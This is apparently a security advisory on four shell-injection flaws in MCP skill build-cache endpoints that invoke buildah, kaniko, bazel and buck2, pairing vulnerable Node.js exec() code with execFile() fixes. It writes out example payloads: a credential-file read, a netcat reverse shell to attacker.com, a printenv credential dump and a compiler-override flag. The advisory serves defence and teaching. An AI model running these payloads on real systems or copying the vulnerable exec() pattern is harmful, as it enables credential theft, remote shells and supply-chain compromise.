← Security advisories

Claude MCP skill code injection — skill build cache and artifact storage endpoints — SA-SKL-INJECTION49

SA-SKL-INJECTION49 documents four code injection vulnerabilities in MCP skill registry build cache and artifact storage endpoints. Build infrastructure invokes container image build tools — buildah, kaniko, bazel, and buck2 — using shell-interpolated command strings constructed from user-supplied parameters including image tags, destination references, build targets, and output paths. Each tool accepts parameters with complex syntax including special characters, path separators, and flag arguments that are interpreted by the shell before the build tool processes them. INJECTION49 covers the full attack surface: container registry credential exfiltration via buildah semicolon injection, persistent reverse shell via kaniko semicolon injection, cloud credential exfiltration via bazel printenv injection, and build toolchain compromise via buck2 space-injected flag override.

SA-SKL-INJECTION49 findings at a glance
CRITICALINJECTION49-001 — exec('buildah bud --tag ${imageTag} --file ${dockerfile} ${contextDir}') — attacker imageTag with ; cat /run/containers/auth.json exfiltrates container registry credentials; fix: execFile() array; validate imageTag against /^[a-z0-9.\-\/]+:[a-zA-Z0-9.\-_]{1,128}$/; realpathSync containment for dockerfile and contextDir
CRITICALINJECTION49-002 — exec('kaniko --dockerfile ${dockerfile} --destination ${destination} --context ${contextDir}') — attacker destination with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate destination against digest-pinned pattern; realpathSync containment
CRITICALINJECTION49-003 — exec('bazel build ${buildTarget} --output_base ${outputBase}') — attacker buildTarget with ; printenv exfiltrates all env vars including BAZEL_REMOTE_CACHE_CREDENTIALS and cloud provider credentials; fix: execFile() array; validate buildTarget against /^\/\/([\w.\-\/]+):([\w.\-]+)$/; outputBase from server-side constant
HIGHINJECTION49-004 — exec('buck2 build ${target} --out ${outputPath}') — attacker target with space-injected --config=cxx.compiler=attacker_cc overrides build toolchain, substituting attacker-controlled compiler into the build pipeline; fix: execFile() array; validate target against /^\/\/([\w.\-\/]+):([\w.\-]+)$/; realpathSync containment for outputPath

INJECTION49-001 — buildah container registry credential exfiltration via semicolon injection

Severity: CRITICAL

The build cache endpoint invokes buildah bud using Node.js child_process.exec() with the command string constructed by interpolating user-supplied parameters. The imageTag parameter is embedded directly into the shell command string without sanitization. An attacker submits a build request with imageTag set to myskill:latest; cat /run/containers/auth.json. The shell interprets the semicolon as a command separator and executes the second command under the same process context. The /run/containers/auth.json file contains the registry authentication configuration for all configured OCI registries including authentication tokens for Docker Hub, GitHub Container Registry, and any private registry namespaces configured on the build worker. These credentials are unscoped and long-lived, granting push access to every configured registry namespace.

exec() with shell-interpolated arguments is shell injection. Any child_process.exec() call that includes user-supplied values in the command string is vulnerable to shell injection. Use child_process.execFile() with an array of arguments — the array form never invokes a shell and treats all arguments as literal strings regardless of special characters.

Vulnerable
// Build cache worker — shell injection via exec() with interpolated imageTag
const { exec } = require('child_process');

async function buildImage(imageTag, dockerfile, contextDir) {
  // imageTag = "myskill:latest; cat /run/containers/auth.json"
  return new Promise((resolve, reject) => {
    exec(
      `buildah bud --tag ${imageTag} --file ${dockerfile} ${contextDir}`,
      (err, stdout, stderr) => {
        if (err) return reject(err);
        resolve(stdout); // stdout includes auth.json contents
      }
    );
  });
}
Fixed
// Build cache worker — execFile() array + validation + realpathSync containment
const { execFile } = require('child_process');
const path = require('path');
const fs = require('fs');

const IMAGE_TAG_RE = /^[a-z0-9][a-z0-9.\-\/]*:[a-zA-Z0-9.\-_]{1,128}$/;
const BUILD_CONTEXT_ROOT = '/srv/build-contexts'; // server-controlled root

function safePath(root, userPath) {
  const resolved = path.resolve(root, userPath);
  if (!resolved.startsWith(root + path.sep)) throw new Error('Path traversal detected');
  return resolved;
}

async function buildImage(imageTag, dockerfile, contextDir) {
  if (!IMAGE_TAG_RE.test(imageTag)) throw new Error('Invalid imageTag format');

  const safeDockerfile = safePath(BUILD_CONTEXT_ROOT, dockerfile);
  const safeContextDir = safePath(BUILD_CONTEXT_ROOT, contextDir);

  return new Promise((resolve, reject) => {
    execFile(
      'buildah',
      ['bud', '--tag', imageTag, '--file', safeDockerfile, safeContextDir],
      { timeout: 300_000, maxBuffer: 10 * 1024 * 1024 },
      (err, stdout, stderr) => {
        if (err) return reject(err);
        resolve({ success: true, imageTag });
      }
    );
  });
}

INJECTION49-002 — kaniko reverse shell via destination semicolon injection

Severity: CRITICAL

The kaniko build endpoint constructs its command string by interpolating the destination parameter — the OCI registry push destination for the built image. An attacker submits a build request with destination set to registry.example.com/myskill:latest; nc attacker.com 4444 -e /bin/sh. Because exec() passes the full string to /bin/sh -c, the shell executes both the kaniko command and the netcat reverse shell command. The reverse shell runs under the registry worker's service account with access to all build credentials, internal network routes, and the full Docker socket if the worker runs privileged. Unlike the buildah injection which produces output in the command response, the netcat reverse shell persists beyond the build request lifecycle and survives process tree reparenting.

Vulnerable
// Kaniko build worker — shell injection via exec() with interpolated destination
async function buildWithKaniko(dockerfile, destination, contextDir) {
  // destination = "registry.example.com/skill:latest; nc attacker.com 4444 -e /bin/sh"
  return new Promise((resolve, reject) => {
    exec(
      `kaniko --dockerfile ${dockerfile} --destination ${destination} --context ${contextDir}`,
      (err, stdout) => { if (err) reject(err); else resolve(stdout); }
    );
  });
}
Fixed
// Kaniko build worker — execFile() array + digest-pinned destination validation
const DESTINATION_RE = /^[a-z0-9][a-z0-9.\-\/]*:[a-zA-Z0-9.\-_]{1,128}(@sha256:[0-9a-f]{64})?$/;

async function buildWithKaniko(dockerfile, destination, contextDir) {
  if (!DESTINATION_RE.test(destination)) throw new Error('Invalid destination format');

  const safeDockerfile = safePath(BUILD_CONTEXT_ROOT, dockerfile);
  const safeContextDir = safePath(BUILD_CONTEXT_ROOT, contextDir);

  return new Promise((resolve, reject) => {
    execFile(
      'kaniko',
      ['--dockerfile', safeDockerfile, '--destination', destination, '--context', safeContextDir,
       '--no-push-cache', '--cleanup'],
      { timeout: 600_000, maxBuffer: 10 * 1024 * 1024, env: { PATH: '/usr/local/bin:/usr/bin' } },
      (err, stdout) => {
        if (err) return reject(err);
        resolve({ success: true, destination });
      }
    );
  });
}

INJECTION49-003 — bazel build env var exfiltration via buildTarget semicolon injection

Severity: CRITICAL

The bazel build cache endpoint passes the buildTarget and outputBase parameters directly into an exec() command string. An attacker supplies buildTarget as //myskill:lib; printenv. The shell executes both the bazel build command and printenv, which outputs all environment variables in the build worker process. The build worker environment contains BAZEL_REMOTE_CACHE_CREDENTIALS (a JSON service account key for the remote cache GCS bucket), AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, and any other cloud provider credentials injected as environment variables by the container orchestrator. These credentials are captured in the stdout of the exec() callback and may be logged or included in build output artifacts.

Vulnerable
// Bazel build worker — shell injection via exec() with interpolated buildTarget
async function runBazelBuild(buildTarget, outputBase) {
  // buildTarget = "//myskill:lib; printenv"
  return new Promise((resolve, reject) => {
    exec(
      `bazel build ${buildTarget} --output_base ${outputBase}`,
      (err, stdout) => { if (err) reject(err); else resolve(stdout); }
    );
  });
}
Fixed
// Bazel build worker — execFile() array + target validation + server-side outputBase
const BAZEL_TARGET_RE = /^\/\/([\w.\-\/]+):([\w.\-]+)$/;
const BAZEL_OUTPUT_BASE = process.env.BAZEL_OUTPUT_BASE || '/srv/bazel-output'; // server constant

async function runBazelBuild(buildTarget) {
  if (!BAZEL_TARGET_RE.test(buildTarget)) throw new Error('Invalid Bazel target format');

  return new Promise((resolve, reject) => {
    execFile(
      'bazel',
      ['build', buildTarget, '--output_base', BAZEL_OUTPUT_BASE,
       '--remote_cache=' + process.env.BAZEL_REMOTE_CACHE_URL],
      { timeout: 600_000, maxBuffer: 10 * 1024 * 1024,
        env: { HOME: '/tmp', PATH: '/usr/local/bin:/usr/bin', BAZEL_REMOTE_CACHE_CREDENTIALS: process.env.BAZEL_REMOTE_CACHE_CREDENTIALS } },
      (err, stdout) => {
        if (err) return reject(err);
        resolve({ success: true, target: buildTarget });
      }
    );
  });
}

INJECTION49-004 — buck2 build toolchain compromise via space-injected flag override

Severity: HIGH

The buck2 build endpoint interpolates the target and outputPath parameters into the exec() command string. An attacker submits a build request with target set to //myskill:lib --config=cxx.compiler=attacker_cc. Because exec() passes the full string to the shell, the space in the target value is not escaped and buck2 receives two separate arguments: the legitimate target path and the attacker-supplied --config flag. Buck2 accepts the config override and replaces the C++ compiler in the toolchain with the attacker-controlled attacker_cc binary. All artifacts built in this run are compiled by the attacker's binary, enabling supply chain compromise of any downstream consumer of the cached build outputs. Semicolon-only sanitizers do not block this attack because the payload uses only spaces.

Space injection bypasses sanitizers that only check for semicolons and pipe characters. Any parameter that contains only word characters and a space can inject additional command-line flags when the argument is shell-interpolated. execFile() with array arguments is the only complete defense — each array element is passed to the executable directly without shell interpretation.

Vulnerable
// Buck2 build worker — space injection bypasses semicolon-only sanitizer
function sanitize(input) {
  // only blocks ;, |, &, ` — not spaces
  return input.replace(/[;|&`]/g, '');
}

async function runBuck2Build(target, outputPath) {
  const safeTarget = sanitize(target);
  // safeTarget = "//myskill:lib --config=cxx.compiler=attacker_cc" — passes sanitizer
  return new Promise((resolve, reject) => {
    exec(`buck2 build ${safeTarget} --out ${outputPath}`,
      (err, stdout) => { if (err) reject(err); else resolve(stdout); }
    );
  });
}
Fixed
// Buck2 build worker — execFile() array + target regex + realpathSync containment
const BUCK2_TARGET_RE = /^\/\/([\w.\-\/]+):([\w.\-]+)$/;
const BUCK2_OUTPUT_ROOT = process.env.BUCK2_OUTPUT_ROOT || '/srv/buck2-output';

async function runBuck2Build(target, outputPath) {
  if (!BUCK2_TARGET_RE.test(target)) throw new Error('Invalid Buck2 target format');

  const safeOutput = safePath(BUCK2_OUTPUT_ROOT, outputPath);

  return new Promise((resolve, reject) => {
    execFile(
      'buck2',
      ['build', target, '--out', safeOutput],
      { timeout: 600_000, maxBuffer: 10 * 1024 * 1024 },
      (err, stdout) => {
        if (err) return reject(err);
        resolve({ success: true, target, outputPath: safeOutput });
      }
    );
  });
}

All four SA-SKL-INJECTION49 vulnerabilities reflect a consistent pattern of shell injection in build infrastructure where child_process.exec() constructs command strings by interpolating user-supplied parameters without shell-safe argument passing. SkillAudit detects INJECTION49-001 through INJECTION49-003 by flagging exec() calls with template literal or string concatenation arguments containing user-supplied values; INJECTION49-004 by detecting the same pattern where the injected value contains spaces and argument names matching build tool flag formats. See also SA-SKL-INJECTION48 on signing and verification pipeline endpoints for the companion chain targeting artifact signing shell injection paths.